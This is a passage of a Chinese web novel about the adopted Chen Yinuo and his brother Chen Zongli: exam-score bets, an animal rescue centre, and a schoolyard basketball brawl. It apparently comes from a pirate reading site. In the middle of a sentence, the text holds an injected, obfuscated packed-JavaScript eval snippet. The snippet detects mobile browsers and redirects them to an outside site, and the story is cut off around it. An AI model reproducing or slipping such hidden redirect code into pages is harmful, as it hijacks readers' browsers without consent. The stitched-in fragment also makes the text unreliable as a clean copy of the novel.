披着安抚毯的陈一诺,踱步到书桌旁,直截了当:“哥,我想赚钱。” “老太太给你的零花钱,不够吗?还要去赚?”陈宗礼笑了笑。 陈一诺摇头:“买猫粮狗粮、看病住院是够的。但是,我总想办个宠物救助站,安置岚枫山那些流浪猫狗。那钱……就不太够。” 陈宗礼双手交叉,本以为他只是临时起意,没想到小卷毛野心挺大。 他假装无奈道:“我以为你只是想买个医药箱,没想到,你想开个医院啊……” 陈一诺有些窘迫,扶正厚瓶底眼镜,小心翼翼问道:“所以,才找你想办法,哥,你帮帮我……” 都喊“哥”了,都“帮帮我”了,这样撒娇,陈宗礼还能怎么办? “你这个属于公益项目,资金投进去相当于无底洞。除非你有过硬的资本做后台,不然,就算让你开成了救助中心,万一资金链断裂破产,那些小猫小狗还是无家可归。” 跟着陈宗礼的分析,陈一诺越听越感到无力。道理他都懂,但也还是想做。 他说:“我当然知道,所以现阶段我先赚钱,等钱够了,总有一天能把宠物救助中心建起来。” 陈宗礼知道他的奶奶白凤娇给陈一诺留了不少遗产,如果硬要建,动用那些遗产,也不是不行。但小孩就是要自己赚,那得赚到猴年马月去。真不知道才夸他天真,还是骂他不自量力。 心里笑笑,说道:“行吧,想赚钱的话,你先把成绩提上去,100分满分,你考80以上有奖金,80以下倒欠我钱。” 陈一诺越听越不对劲,说赚钱呢,怎么拐到学习上来了? “等等等等……哥,咱们说的不是两回事吧?” 陈宗礼一本正经解释:“一回事啊。赢一两局比赛或者打一份工赚的钱,没法支撑你的救助中心。这考试的奖金也不行……” “但是,如果你成绩够好,证明智商还行,那我才能把你带到天峻旁听……” 陈一诺迟疑道:“我……能进天峻?” 天峻,是陈家家族集团,倾注了5代陈家人的心血。他一个被领养的外人,从没想过能到陈家公司工作,更别说跟陈宗礼同等待遇的旁听了。 陈宗礼回答却很惊讶:“为什么不行?” “但前提是,你成绩足够好。你能到天峻旁听,提议还被奶奶采纳还有奖金。” “时间久了,你就会明白什么是资本,它是怎么运作的,怎么才能利用、驾驭资本。这些都是为你日后的救助中心打下基础的。” “怎么样,敢不敢?” 陈宗礼的话,15岁的陈一诺似懂非懂,但这段时间跟陈宗礼的相处,他明白两个道理。 第一:陈宗礼不会害他。 第二:如果要实现梦想,眼前只有这条路可走。 最终,他回答了一个“敢!” 然后闭上眼睛,心无旁骛,专心照着陈宗礼给他规划好的,一步一步往前走着。 只是中间出现了偏差,他跟陈宗礼走散了,但那些一步步走来的经验,成了他创建一星集团的基础。。 …… 整件事让陈一诺震惊的地方在于,他已经遗忘的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850442|175834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈宗礼却还记得,甚至把它实现了! 心里虽然诽腹陈宗礼夺走了他的梦想,又忍不住朝救助中心看——想看看自己的梦想,被实现得如何。 这时,铁门打开,蓄势待发的几只大狗率先冲出来,后面跟着身穿救助中心围裙的工作人员。 员工看见门外站着两个男人,有些惊讶。他吃力地控制住一心奔向广阔天地的狗狗们,狼狈道:“不好意思,晚上不开放,明早再来吧……” 陈一诺反应很快,掏出名片:“你好,我从A国回来,想捐助一些物资和资金,提前过来看看环境。” 听见是金主,员工戒备少了些,但仍然不愿意放他们进去。 “你们能在门外等会么?我遛完狗再带你们进去。” 陈一诺:“不如这样,我朋友帮你遛狗,你带我进去?” “啊?” 王之初和男员工同时看向陈一诺,表情复杂。 王之初本想说,我们不赶时间,可以等他遛完再进去。 但陈一诺不做人,没给他开口的机会,直接把员工手里的狗绳和斜挎包挂到王之初身上。 没等王之初反抗,他就被狗子们像放风筝似的拽飞出几十米,连人带狗消失在公园深处,只剩下他的哀嚎和狗狗们的欢呼。 陈一诺目送王之初离开后,对员工说:“可以进去了吧?” 男员工心疼那位被拽飞的小哥,脸色复杂,回答道:“可以可以,请进。” 这所宠物救助中心,比陈一诺想象的环境要好许多。 宠物味道很淡,空气里混着清爽的消毒水味。两旁的平房,左边是狗宿舍,右边是猫宿舍,泾渭分明。宿舍旁各有一个低矮水槽,无论是小猫还是小狗,随时随地都能喝到水。 陈一诺透过宿舍玻璃朝里看,夏天炎热,宿舍却感觉很清凉,狗狗们在宿舍内睡得四仰八叉,呼噜声此起彼伏…… 这是陈一诺梦想过的场景,流浪动物们在等待下一个主人到来前,能有一个遮风挡雨的归宿。哪怕等不到领养,也有容身之所,不用流浪。 虽然不想承认,但陈宗礼确实把他的梦想完成得很到位。 心里暗叹一口气,陈宗礼总让他恨不起来。 上辈子,他被吴奇以“内部交易”陷害入狱,王之初束手无策。是陈宗礼从港城连夜直飞A国,还带了律师团队,跟王之初联手给他做辩护。 虽然,最终他被判三年监禁,这对于陈一诺而言,堪称人生低谷。那时,他觉得眼前的一切暗淡无光。 整个人像活在泥潭里,只要心生放弃的念头,泥潭里就会长数不清的藤蔓,把你往下拽,帮你勒断呼吸,吸食你的生命。 唯一的一点光,是陈宗礼告诉他,不要害怕,哥会帮你,哥在外面等你回家。 虽然,他恨过陈宗礼,也嘴硬拒绝他的帮忙。但每次想放弃生命的时候,因为想起这句话又熬了下来。 直到某一天,噩耗到来:陈宗礼被绑架撕票,再也没人帮他,没人等他回家…… 如今想想,当时,在监狱外的陈宗礼也身陷囹圄,自顾不暇,却还要强装稳定,向他传递积极的鼓励。 这样的陈宗礼,实在让他恨不起来。 …… 半小时后,日进宠物救助中心的员工从王之初手里接过遛完的狗狗,目送他们离开。 看他们背影远去,才敢垂眸看着手里的支票,他数了数后面零,怔愣迟迟没缓过来。 王之初的头发凌乱,眼镜也歪了,他咬牙切齿道:“知道的我在遛狗,不知道的以为我在被拖尸!给你打工真是倒八辈子血霉!” 陈一诺双手背在身后:“老王啊,豁达一点,对你我都有好处。” 王之初翻了一个白眼:“你这是豁他人之达!我们能走到今天,全靠我在苦苦维系!!!” “另外,作为你的律师,我有义务提醒你,陈一诺,你这样下去不行!” 陈一诺啧了声:“让你遛个狗也不行?” 王之初没好气:“你什么都跟陈宗礼比不行!” “今天输了比赛不开心,我知道。但是……你也不能看人家建一个宠物救助中心,就捐一个宠物救助中心的钱。” “而且,这是匿名捐款,陈宗礼压根不知道是你捐的,意义是什么呢?” 他眼睛一眯:“你该不会得了一种:输给陈宗礼就得去死的病吧?” “要不你去看看呢?” 陈一诺闲散地走在前面,伸了一个大大的懒腰:“已经在治了,我用的是自然疗法……” “名为财散人安乐~” 19. 第十九章 从岚枫山离开后,庄嘉轩直接把陈宗礼拽到医院,出来时陈宗礼的手腕裹着纱布,发出淡淡的草药味。 庄嘉轩的心情一直很低落,自己的接风宴,被陈一诺搅得不欢而散。回程刷手机,还刷到了赛车场爆料新闻。 “岚枫山上演生死时速!陈家豪门恩怨正式拉开帷幕!” “收购败北,陈太子怀恨在心,赛车场自杀式报复陈一诺!” 吸睛的话题,狗血的情节,爆款的点击量,热度非常高。 他点开新闻,正文不但有赛车现场图,还有视频。素材提供者,还贴心地把陈宗礼和陈一诺单独圈出来,旁边还配了文字解说。视频里,陈宗礼压着陈一诺往内车道挤,最后赢下比赛的过程拍得一清二楚。 “操!说了不让拍不让拍,还是被爆了出去!” “说你因为收购失败,故意耍手段赢陈一诺。他们懂什么呀……还自杀式复仇,要不是你,那小崽子早躺医院了。” 陈宗礼督他手机新闻一眼,表情没什么起伏:“他们不是一直这样吗?” 庄嘉轩侧身看着无所谓的陈宗礼:“大哥,我在替你打抱不平!” “我真是看不懂你……陈一诺要跟莫多里谈收购,你就弃权让给助理谈;他说比赛,你就答应;要是比赛输了,你真打算放弃羽南港啊?” “听兄弟一句劝!要么跟他划清界限,要么把以前的事摊开讲清楚,这样斗来斗去,不累吗?” 时间一久,很多事情就成了糊涂账,说不清了。陈宗礼没说话,假装闭目养神不再理他。 庄嘉轩点开陈一诺的对话框,看见他的wx名:输给你爸不丢人,心里一阵不爽。 边不爽边打字。 大哥罩你:喂,跟你聊两句。 输给你爸不丢人:你是谁? 庄嘉轩差点骂出声来,他咬着后牙槽,忍辱负重地打字。 大哥罩你:我,庄嘉轩! 输给你爸不丢人:证明一下。 大哥罩你:?? 输给你爸不丢人:之前有人从头像到朋友圈直接复制了老王,说他急着用钱,让我给他转100万。幸好当时他人就在我旁边,不然我就被诈骗了。 庄嘉轩强压着怒意,拍了一张陈宗礼的侧面,连带缠着纱布的手也拍进去。 大哥罩你:我和你哥刚从医院回来,足够证明了吧。 看见陈宗礼的照片时,陈一诺定神看了足足一分钟,以至于忘了呼吸。要不是庄嘉轩给他发了一连串表情包,手机一直在震动,他还反应不过来。 输给你爸不丢人:他手怎么了? 大哥罩你:早说了他有手伤!今天比赛复发了呗 陈一诺有些恍惚,他在两辈子的记忆里搜索,都没有陈宗礼受伤的一段。 输给你爸不丢人:什么时候伤的? 大哥罩你:当年,天峻出事,董事会那群老古董把陈宗礼逼得死紧。一度让陈家跟你彻底划清界限,把你送回上城,变回古一诺,好把责任全推到你身上。陈宗礼扛着压力不肯松口,最后,各退一步,把你送出国,没想到你的反应还是那么大。 大哥罩你:把你送出国后,他心情非常低落,像个机器人一样只知道工作,唯一像人的地方,就是玩赛车的时候。他专门挑岚枫山的越野赛,一路狂飙。 大哥罩你:有一回大雨天,看见一辆贴着08号的车。他不知道为啥拼了命的开,雨天路况复杂,他失控撞向了岚枫星塔,幸好只是手腕骨折,但也落下旧患,连带岚枫星塔都撞坏了,至今没再亮过。 输给你爸不丢人:你到底想说什么? 大哥罩你:我想说的是,陈宗礼当时才22岁,身上肩负着很多责任,很多身不由己,应对经验也不足。把你送走真的是迫不得已。但已经是当时他能想到最好的解决方法了。 大哥罩你:当然,你忽然被送到国外,孤苦无依有情绪也很正常。 大哥罩你:现在,你打算回港城发展,两兄弟抬头不见低头见,我当一回和事佬,你们之间的恩怨,就算不能一笔购销,也互相体谅体谅难处。不要像今天这样,非要斗个你死我活,行不行? 输给你爸不丢人:陈宗礼知道你跟我说这些吗? 对方的输入框连续输入了快五分钟,才丢出一句。 大哥罩你:不知道…… 输给你爸不丢人:我知道了 庄嘉轩对着屏幕看半天,心想:我知道了?知道了什么?那是答应还是不答应? 还在犹豫要不要问他到底知道什么,对话框又弹出一句:想求和,让陈宗礼亲自跟我说,一笔勾销不可能。 庄嘉轩不聊了,干脆把手机丢一旁,对陈宗礼告状:“当初你就不该费心思培养那个小兔崽子。” “成绩差就成绩差,随便念个大学,给他一笔钱,让他自生自灭得了。你倒好,让人从50多名,一路爬到年级第一,然后又一路爬上天峻旁听席,跟你分庭抗礼。” “忠犬没养出来,反而养了一只全是心眼的白眼狼。现在可好,生意跟你抢,地盘跟你争,你说是这是何必呢……” 陈宗礼被折腾一天,实在累,加上吃了止痛药有些困,淡淡道:“我记得,你在圣保罗的时候,年级排20左右?” 庄嘉轩眯着眼,对陈宗礼的发言非常警惕:“干嘛?” 陈宗礼冷冷地开枪:“从20名爬到年级第一,不是更容易嘛?你为什么爬不到?是不想嘛?” Bang!Bang!Bang! 太子爷连开几枪,把吐槽“陈一诺50多名”的庄嘉轩打成筛子…… 庄嘉轩捂着胸口假装受伤:“不是……说得好好的,你攻击我干嘛呀?” 陈宗礼睁开眼看死不瞑目的好友:“我只是陈述事实。” “从年级第一到去天峻旁听,现在跟我分庭抗礼,不是我培养出来的……” “他本就如此。” …… 刚开始,对于陈一诺的成绩,陈宗礼没有抱太大的期望。以他定的目标,从50冲到年级15左右就够了。 在圣保罗中学,能达到年级前15的成绩,在全港,甚至全球,已经足够有竞争力。毕竟除了个人成绩,这是一所看背景、资源、人脉的学校。 让陈一诺上个好大学,听听天峻的生意经,毕业后,爱干什么干什么。万一什么都不想干,只要不被骗,不碰黄赌毒,一辈子当个富贵闲人也好。 只是没想到,他以为 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陈宗礼说话算话,他们约定好,一门考试超80分,就能赚三千块。当时,陈一诺答应得非常爽快。心想,一门考试能赚三千,陈太子的钱比赛车好赚。 毕竟,他转学前成绩挺好的,转学后,想低调行事,不被注意,所以几次考试,故意考差。 没想到他低估了圣保罗的考试难度,陈宗礼的钱没赚到,自己先倒亏一万五! 陈一诺抿着嘴,迟迟不肯付钱:“哥,你这钱也太好赚了吧。” 陈宗礼垂眸看着这位讨价还价的“守财奴”,挑眉笑了:“给机会你赚我钱,你不中用啊。赚不着赖谁啊?” 陈一诺隔着厚瓶底眼镜,眼睛眨了眨,陈宗礼识别出这是打量骗子的眼神。 “哥,你是不是第一拿久了,以为圣保罗的考试挺容易的?我现在只有50名……进步肯定需要时间。这样吧,钱我们从下一次考试开始算,好不好?” 嘴上求情,还伸手把陈宗礼的手机屏幕往下压,摆明了要赖账。 陈宗礼被他的小动作逗笑了,心像被羽毛挠了挠,他努力压低嘴角,举起手机不让他碰。 “答应的时候那么爽快,是不是以为自己肯定能赚到钱?输了就想反悔,你觉得可能吗?” “高回报永远伴随高风险!别磨蹭,赶紧给钱!” 陈一诺能在古家那种吃人不吐骨头的家庭生存下来,并不是单纯靠运气。看陈宗礼软的不吃,立刻改变策略来硬的。 “那我不玩了,万一我继续考还是低于80,不就继续亏?我不如回去赛车,包赚不赔!” 陈一诺叉腰仰头看着陈宗礼,小卷毛变成小霸王,盛气凌人。 看他理直气壮地耍赖,陈宗礼还觉得挺有意思。 他上斜眼挑起,比他还盛气凌人:“你要去赛车,或者去干什么都随便,但一码归一码,一万五,赶紧还钱!” 哈?! 陈宗礼的意思是,要学习还是要赛车,随便你。但是欠我的钱,一分不能少! 陈一诺嘴张开又合上,心想:陈宗礼真是不可理喻到极点! 20、第二十章 陈一诺还在古家的时候,经常出入赌场,在赌徒身上学到诸多道理,譬如:输了的钱无论如何都要赢回来。 一万五不算什么,但他要是把钱转给陈宗礼,以他的好胜心,无论如何都得死磕考试把输掉的钱赚回来,总不能做亏本买卖吧?! 陈一诺越想越气,骂骂咧咧。 “陈……陈宗礼,你这个抠门精!” “堂堂豪门太子,一万五,买件衣服吃顿饭就没了!至于这么……这么咄咄逼人么!!” “我知道了,这一切都是你的圈套,你被我破了记录,所以怀恨在心报复我!” 本以为,陈太子从生下来就被供着哄着,应该忍不了他的骂骂咧咧。没想到,他居然没有反驳,甚至双手交叉在胸前点头:“对对对,你骂得对~” “我就是财迷,我就是咄咄逼人,我就是报复你,想骗你的钱!不服气赢回来啊~” “别废话,支付宝打开了吗?” “!!!!”太厚脸皮了!陈一诺心里骂! “滴!支付宝到账一万五千元!” 陈宗礼打开支付宝账户,黑□□面显示着总额增加一万五千,心满意足地朝陈一诺摇摇手机:“谢谢老板!” 那模样,让陈一诺恨得牙痒痒。 陈宗礼一脸得意,揣回手机转身离开他的房间。前脚刚迈出去,陈一诺忽地从后面抱住他的脖子,借力一蹬,跳上他后背。 二话不说朝着他的肩膀,“昂”地用力咬了一口! 陈一诺有一颗牙是尖的,咬得人生疼,陈宗礼:“疼疼疼,你是狗吗!”喊了几声。 陈一诺发泄够了,把人往外一推,接着“砰——”迅速把门关上。 徒留陈太子捂着肩膀,新鲜的牙印,“嘶哈嘶哈”疼了半天。 无可奈何笑道:小卷毛还咬人! …… 本以为陈一诺吃了一万五的亏,会偷偷跑回赛车场赚钱。 没想到,三天后的早上,陈一诺把一张试卷“啪——”压在餐桌上,剐了陈宗礼一眼,仿佛在下战书。 等对方气势汹汹离开,陈宗礼撇了一眼试卷分数:79.5 旁边的手机震动着,他拿起一看,“滴!支付宝到账三千元!” 他放下手机,看似面无表情吃着早餐,不自觉地摸了摸肩上被咬过的地方,牙印已经没了,但留下一片瘀青。 那天起,陈一诺的大小考试没有再隐瞒陈宗礼。校园里,偶尔看见他跟另一个叫王之初的四眼一起,听庄嘉轩说,那是他们的年级第一。 陈宗礼的不劳而获,似乎全面激发了陈一诺的胜负欲。他开始非常刻苦,总是第一个到学校,最后一个从自习室离开,回家还要复习到凌晨一点后。 这样卧薪尝胆,就是为了把属于他的钱赢!回!来! 某天凌晨3点,陈宗礼睡醒到厨房喝水,经过他房间时,发现门没关,里面灯还亮着。 他偷偷推开门,走进他房间,看见陈一诺趴在书桌上看书看睡着了,卷毛脑袋上勒着一条写着:“80分万岁”字样的头巾,头枕在手臂上,口水把书都洇湿了。 陈宗礼手指在他鼻尖点了点,喃喃:“小财迷!” …… 终于,在陆续给陈宗礼转了小几万后,陈一诺迎来了高一上学期的期末考。 整个期末考维持一周,港城突然大降温,公布成绩那天,温度冷得仿佛走进冰箱的冷冻层。 不但温度冷,风还大。为此,圣保罗中学高三教学楼下的茶饮店生意非常红火。 陈宗礼和庄嘉轩在一旁等着叫号,随便聊两句。 “这种鬼天气还要上学,只有生椰拿铁能温暖我寒冷的心!” “你都是被提前录取的人了,还回来干吗?” 陈宗礼双手揣在羊绒长衫的口袋里,棱角分明的五官,加上修长提拔的身型,从出现在茶饮店起,就惹来不少目光。 他无视身边的视线,低声道:“今天不是出成绩么,过来看看。” 庄嘉轩裹紧长羽绒皱眉:“你都没参加考试,看谁的成绩啊?” 像陈宗礼这种优等生,在高二下学期已经拿到了c国常春藤名校的offer。整个高三都被老太太拎回天峻上班,宛如一个走出象牙塔的预备役总裁。 但陈宗礼没回答,深邃的眼眸看着校道两旁小叶榄仁,港城没有秋天,小叶榄仁星星点点的叶子依然绿意盎然,被北风吹得“簌簌”下落,校道也不见萧瑟。 纷纷落叶里,一个穿着纯白长款羽绒服,戴眼镜的高挑少年,背着书包,风驰电掣地从茶饮店的落地玻璃前飞过,直接冲进了高三教学楼。 庄嘉轩揉了揉眼睛,稍显迟疑地问:“冲进去那个……是不是你弟?啥时候长那么高了?” 半天没回应,他转头朝旁边看,陈宗礼不知道什么时候也冲出茶饮店,追着陈一诺跑走了。 庄嘉轩看着好友的背影问:“哎……你的生椰拿铁怎么办??” “我勉为其难喝了,也不是不行!” …… 为了保证高三学生的学习氛围,高三教学楼禁止低年级学生进入。 因此,这里对于像陈一诺这种低年级学生而言,像一个“禁地”。 但今天实在太兴奋了,他必须第一时间见到陈宗礼,并当着他的面,大大的扬眉吐气。 他不管不顾地跑上教学楼二层,然后,茫然地站在走廊上,被高三的学姐学长像看动物似地打量着。 他懵了—— 陈宗礼是几班来着?他回学校了嘛?他们看着我干嘛? 一个长得像一个洋娃娃似的长发美女学姐,走到他面前,自上而下打量着他。 那段时间,陈一诺从一米六几窜到接近一米八,整个人都长开了,哪怕被厚瓶底眼镜封印住一部分颜值,依然鹤立鸡群。 美女学姐问道:“小学弟,你找谁啊?” 美女学姐的话,引起了其他美女学姐的注意。她们慢慢围上来,七嘴八舌,有种把人淹没的错觉。 “我们学校什么时候有那么可爱的小帅哥,告诉学姐,叫什么名字啊?” “是不是走错了啊!要不要学姐带你回去?” “学弟,要不要做学姐男朋友?学姐对你好……” 以前,陈一诺看西游记,好奇误入“盘丝洞”是什么感觉。此时此刻,他仿佛身临其境地体会到被一群蜘蛛精包围,朝他“噗噗”吐丝是什么感觉。 “陈一诺!” 一个低沉的声音,打断了所有“蜘蛛精”的靠近,陈一诺转过身,隔着“蜘蛛精”们,看见了拯救他的“齐天大圣”。 “哥!” 他的一声“哥”,把学姐的熊熊八卦之火,从他身上成功转移到他们兄弟身上! “哥?他叫陈宗礼哥?陈宗礼有弟弟吗?” “真哥假哥啊?我圣保罗小灵通,没听说过陈宗礼有弟弟啊!” “假的吧,他们长得都不像……” 七七八八的闲言碎语,把陈一诺吵得脑仁疼,陈宗礼穿过包围圈,把陈一诺捞出来。 站在c位的美女学姐看见陈宗礼的举动,有些惊讶,问道:“宗礼,这……这位是?” 陈宗礼拉着陈一诺手,走了几步停下,转头跟美女学姐说:“我弟。” “不好意思,让一让。” 说完,在众人的惊讶声中,两人消失在走廊尽头。 …… 陈一诺被陈宗礼一路带到高三教学楼的后楼梯。 那天天气很阴,楼道里没有光,陈宗礼拍拍手,声控灯骤然亮起。楼道里残留着一股淡淡烟味,没想到贵族学校的学生,抽烟也见不得光,也要偷偷摸摸的。 陈宗礼垂眸看他问道:“找我什么事?” 自从第一次,他赢了一万五后,陈一诺就单方面跟他“冷战”,这是他们“冷战”以来,第一次正式对话。 陈一诺被蜘蛛精们缠得晕了头,差点忘了正经事,他把背包背到身前,从里面掏出一叠整齐的试卷,它们仿佛是一张张支票,迫不及待等陈宗礼兑现。 他追债的话术,拍拍那叠试卷,直接了当道:“陈宗礼,给钱!” 此时,陈一诺那双灵动又狡黠的眼睛,闪闪发光,像一只等待骨头的小狗。 陈宗礼努力压抑自己内心的怦然,装作面无表情地,将近十张试卷逐一看完,低级的错误已经没有了,扣分点都是一些超纲知识。所以,每张的分数都在80以上。 陈宗礼笑道:“挺厉害啊,这次,考了第几名?” 陈一诺骄傲道:“全年级第十!” 跃升40名,陈宗礼揉揉他的卷毛,手感很软,很解压,他笑道:“厉害。” 陈一诺一副“我厉害我不知道吗”的傲娇模样,歪头挣开要他的手,迫不及待地问:“三万!给钱!” 一次考试,就把之前输的,连本带利赢了回来,陈一诺通体舒畅! 陈宗礼问:“不是说不读书要赛车赚钱么?怎么又肯念书了,不怕我骗你钱?” 陈一诺眼睛滴溜溜转了一圈,有些不好意思:“我跟奶奶保证过,不能再赛车了。” “再说,为什么要二选一?我就是要证明给你看,我既可以靠赛车赚钱,也能靠念书赚钱!只要我想赚,没有赚不到的!!” 陈宗礼看着他斗犬般不服输的气焰,扑克脸绷不住了,“噗呲”笑出声来。 他边笑边掏出手机,从百万存款里,“忍痛”划走了三万块。 “滴!支付宝到账三万元!” 他学着陈宗礼的模样,挥挥手机:“谢谢老板!” 陈宗礼看着他得瑟,视线久久没有挪开,陈一诺被他看得心虚,忽地伸出手,把小臂递到他面前。 视死如归似的:“让你咬回来。” 陈宗礼身上陡然往前,陈一诺以为他真的要咬,立刻闭上眼睛。陈宗礼的嘴唇在距离手臂不到一根手指的距离停下,得逞地笑了声,热气喷到了陈一诺的手臂上。 “算了,没你那么小气。” …… 晒完成绩,陈宗礼送陈一诺离开教学楼,途中遇见叼着生椰拿铁的庄嘉轩。 陈一诺笑着冲他打招呼:“嘿!我先走了!” 看着他跑远的背影,庄嘉轩有些愣:“小崽子那么开心,中奖了?” 陈宗礼喃喃:“小奖吧,考了第十。” 庄嘉轩看陈宗礼得瑟的模样,颇为诧异:“你不是每次都考第一?他考个第十而已,你开心什么?” 陈宗礼不屑:“说的好像你能考一样。” 从那天起,陈宗礼不劳而获小金库彻底终结。反倒是陈一诺的成绩跟他的账户一起,高跟猛进。 在陈宗礼毕业前,陈一诺拿下了年级第一,并且一直霸榜到毕业。 陈宗礼也兑现诺言,说服陈老太,给他一个进天峻集团的旁听资格。 从那时起,陈一诺是陈宗礼弟弟这个小道消息,被慢慢传开。 随之而来的,是对陈一诺身世的揣测谣言四起。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 21、第二十一章 圣保罗中学的【豪门老公养成计划】群里,炸出一条消息。 “姐妹们!早上从校门进来,遇见了陈一诺!他今天把丑丑的黑框眼镜摘了,卧槽!帅得老娘心脏骤停!我决定,老公候选人名单里再添一员。” “同班同学握个爪,姐妹你不是一个人,今天他进课室,我们全班女生的反应跟你一模一样!想当初他插班的时候,都以为是个相貌平平的暴发户。才一个学期,个子窜到一米八,成绩也窜到前五了!” “爆料!我听高三的学姐说,看见陈一诺到高三教学楼找陈宗礼!太子爷亲口承认,陈一诺是他弟!” “什么!!!!” “什么”两个字刷了几屏,惊呆!震惊!这个老公我要了.jpg又刷了几屏。群内的讨论更激烈了。 “这人有什么爽文buff吗?但他跟陈太子长得不像啊?太子爷那双眼睛,一看就是陈老太的亲孙子!” “难道是……私生子?” “管他呢,私生不生的也是四大家族陈家的人,在圣保罗就是金字塔尖尖那小撮。” “楼上的姐妹慎言啊,是不是私生当然重要,难不成他一个私生子还想抢太子爷的蛋糕?他刚入学那么低调,肯定被陈老太警告过。让好好念完书,别给陈太子添堵。” “我不是挑事啊,就想默默问一句,既然太子爷要毕业了,接下来,圣保罗谁说了算?贺朝阳还是陈一诺?” “楼上……你就是在挑事!” …… 在普通学校就存在隐形的等级划分,更别说像圣保罗这样的贵族学校里,学生心中总会默默选出一个最有威望的话事人。这个威望综合了个人能力、家庭背景等等因素。 过去六年时间里,在圣保罗学生中又绝对话语权的,有且只有陈宗礼。伴随提前录取的消息尘埃落定,他的中学生涯基本结束。这就意味着,圣保罗的权力结构要重新洗牌。 本来,在高一学生里,最有希望接替陈宗礼的,是港城四大家族之一的贺家二少——贺朝阳。本以为,陈宗礼毕业后,他能取而代之,没想到,空降一个身份成谜的陈一诺。 群里的聊天变成了闲言碎语,世上没有不透风的墙,才一天,这些闲言碎语就传到贺朝阳本人耳朵里。 这天是班级篮球赛,冤家路窄,刚好是贺朝阳的班级对战陈一诺他们班。 贺朝阳坐在球场边,双手撑在身后,阴郁的三角眼看着篮球场上的比赛。 只见,一个高个子正打算带球过人,被他们班两个人同时夹击,一人挡拆另一个上手抢。结果,高个子的球被抢,人也摔在地上,捂着腹部疼得满脸通红。 陈一诺班的人顿时群情激愤,忍不住站起身理论:“你们打人还是打球啊!” “已经是第二个受伤下场了,裁判看不到吗?” 被贺朝阳买通的裁判视若无睹地摆手,表示没有犯规,让他们换人比赛继续。 一时间漫天嘘声。 这时,一个高挑的身影从人群走出,他连球衣都没换,直接穿着校服站在球场上,跟汗津津的运动员比,干净得太单薄。 "哔——” 男生借助身高优势接到开球,他站在三分线上,双手举球轻松一投,“唰——”穿针进球。 一个三分,先声夺人。 “陈一诺!!!!帅炸了!!!!” 班级啦啦队立刻传来排山倒海的尖叫声。 “咔嚓——”场外的贺朝阳咬碎了嘴里的薄荷糖,满嘴清凉,他问道:“他就是陈一诺?” 旁边的小弟应道:“是他,现在圣保罗人气王!” “人气王?!”贺朝阳阴森森重复着,手指一根根往里压,发出“啪啪”的声音。 …… 他跟陈一诺同级不同班,两人完全没有交集。那么其貌不扬的转学生,居然是陈家二少爷。换作其他人恨不得全校皆知,这人,居然低调地潜伏了整整一学期。 为此,今早,他在餐桌上还被大哥贺朝风和父亲贺朗一起教训了。 贺朗皱褶眉:“陈家占着港城首富的位置那么多年,好不容易熬到陈老太退休,只剩一个陈宗礼孤立无援!谁想到,又多了一个陈一诺!到底怎么回事啊?” 贺朝阳:“我也不太清楚……” 贺朝风立刻落井下石:“这人跟你同级,你却完全不知道他是陈老太的孙子,哥都不知道怎么帮你……” 贺朝阳面无表情,心想得了吧,你不踩我算不错了…… 这顿早饭,被父兄边吃边骂,让贺朝阳食不下咽。 …… 太阳躲过乌云的遮蔽,努力地把金灿灿的暖光渗透到大地各处。 球场上亦如此,人在打球影子也打得激烈。 场外,贺朝阳做完热身运动,走到替补位。跟裁判示意,待对方吹哨,他便换下一人,径自仰头走上球场。并在陈一诺带球时,闪现到他身前阻挡。 自小在古家那样的家庭里长大,陈一诺察言观色能力非常强,跟贺朝阳对视的电光火石间,脑袋里蹦出四个字:来者不善。 本来,陈一诺不想参加这次篮球赛,他习惯低调,有时间打球不如多做几道题,早点做完作业,好去岚枫山看小狗。 但对面班打得太脏,连续伤了他们班两个人,作为班上为数不多身高一米八的男生,陈一诺只能上阵。 有前车之鉴,面对这份不友善,陈一诺动作更加小心,他不想受伤,至少今天不行——今天是中秋节。 现在,陈宗礼几乎不上学,平时在天峻的工作也非常忙。虽然,他们住在陈家老宅,但时间总是错开,算算时间已经一个月没见了。 好不容易,今晚中秋节吃团圆饭,他们总算又机会见面,还能顺便把攒的试卷给他,赚点钱~ 但计划改不上变化,他遇到了贺朝阳。 上场前,同桌王之初跟他简单介绍过这人的背景,听了半天,他只记得一句:有权有势的豺狼,别惹他。 他是不会主动惹对方的,但扛不住对方主动惹他。 贺朝阳身高跟陈一诺差不多,在学校里都是大长腿,长比陈一诺魁梧,一双三白眼里似乎总藏着诡秘的心思,让人不舒服。 果不其然,在传球时,贺朝阳故意窜到在他身前阻挡,那双三白眼往上扬,不怀好意:“陈一诺,你是陈老太捡回来的私生子吗?” 陈一诺一个侧步躲开他,利落地起跳把球稳稳接住。接着,一个假动作带球过人,撂下一句:“关你屁事!” 贺朝阳挑起嘴角,三白眼死盯着陈一诺的后背,在他准备投球时转到他身前,立刻举手拦截他的起跳。 他笑道:“别装了!陈宗礼他爹以前就总装好爸爸,到头来,还不是有私生子……真是道貌岸然,你妈一定很会爬床吧?” “你嘴巴放干净点!”陈一诺怒吼。 贺朝阳以为被自己说中了,继续拱火:“虽然,你妈是个爬床的小三,身份跟陈宗礼他妈根本没法比,但你好歹留着陈家的血,陈老太不会不管。不过,老太太怎么想的,把你送进这里恶心陈宗礼……” 陈一诺感觉全身血液都往脑门涌,投球的动作暂停,垂眸看着贺朝阳。他感觉自己的呼吸非常急促,脑子似乎要炸了! 他知道,陈宗礼跟他一样,都是父母早逝的孤儿。他们心里永远留着一个地方藏着对父母的怀念,也藏着无法愈合的伤痛。 现在被人如此践踏和辱骂,无论出于什么原因,他都无法容忍。 陈一诺那双灵动的眼里闪着一抹骇人的光,稍纵即逝,贺朝阳没来得及咂摸那个眼神的意思,陈一诺忽地晃过他的阻挡,瞄准篮框手腕往前一推,篮球“咻——”地在空中划过一道完美的抛物线。 结束动作,他都没看球进了没,两手直接钳着贺朝阳的双肩,脑袋毫不留情往他鼻子上重重一磕—— “哐——”一声响,三分球进了! 所有人为三分球狂欢。 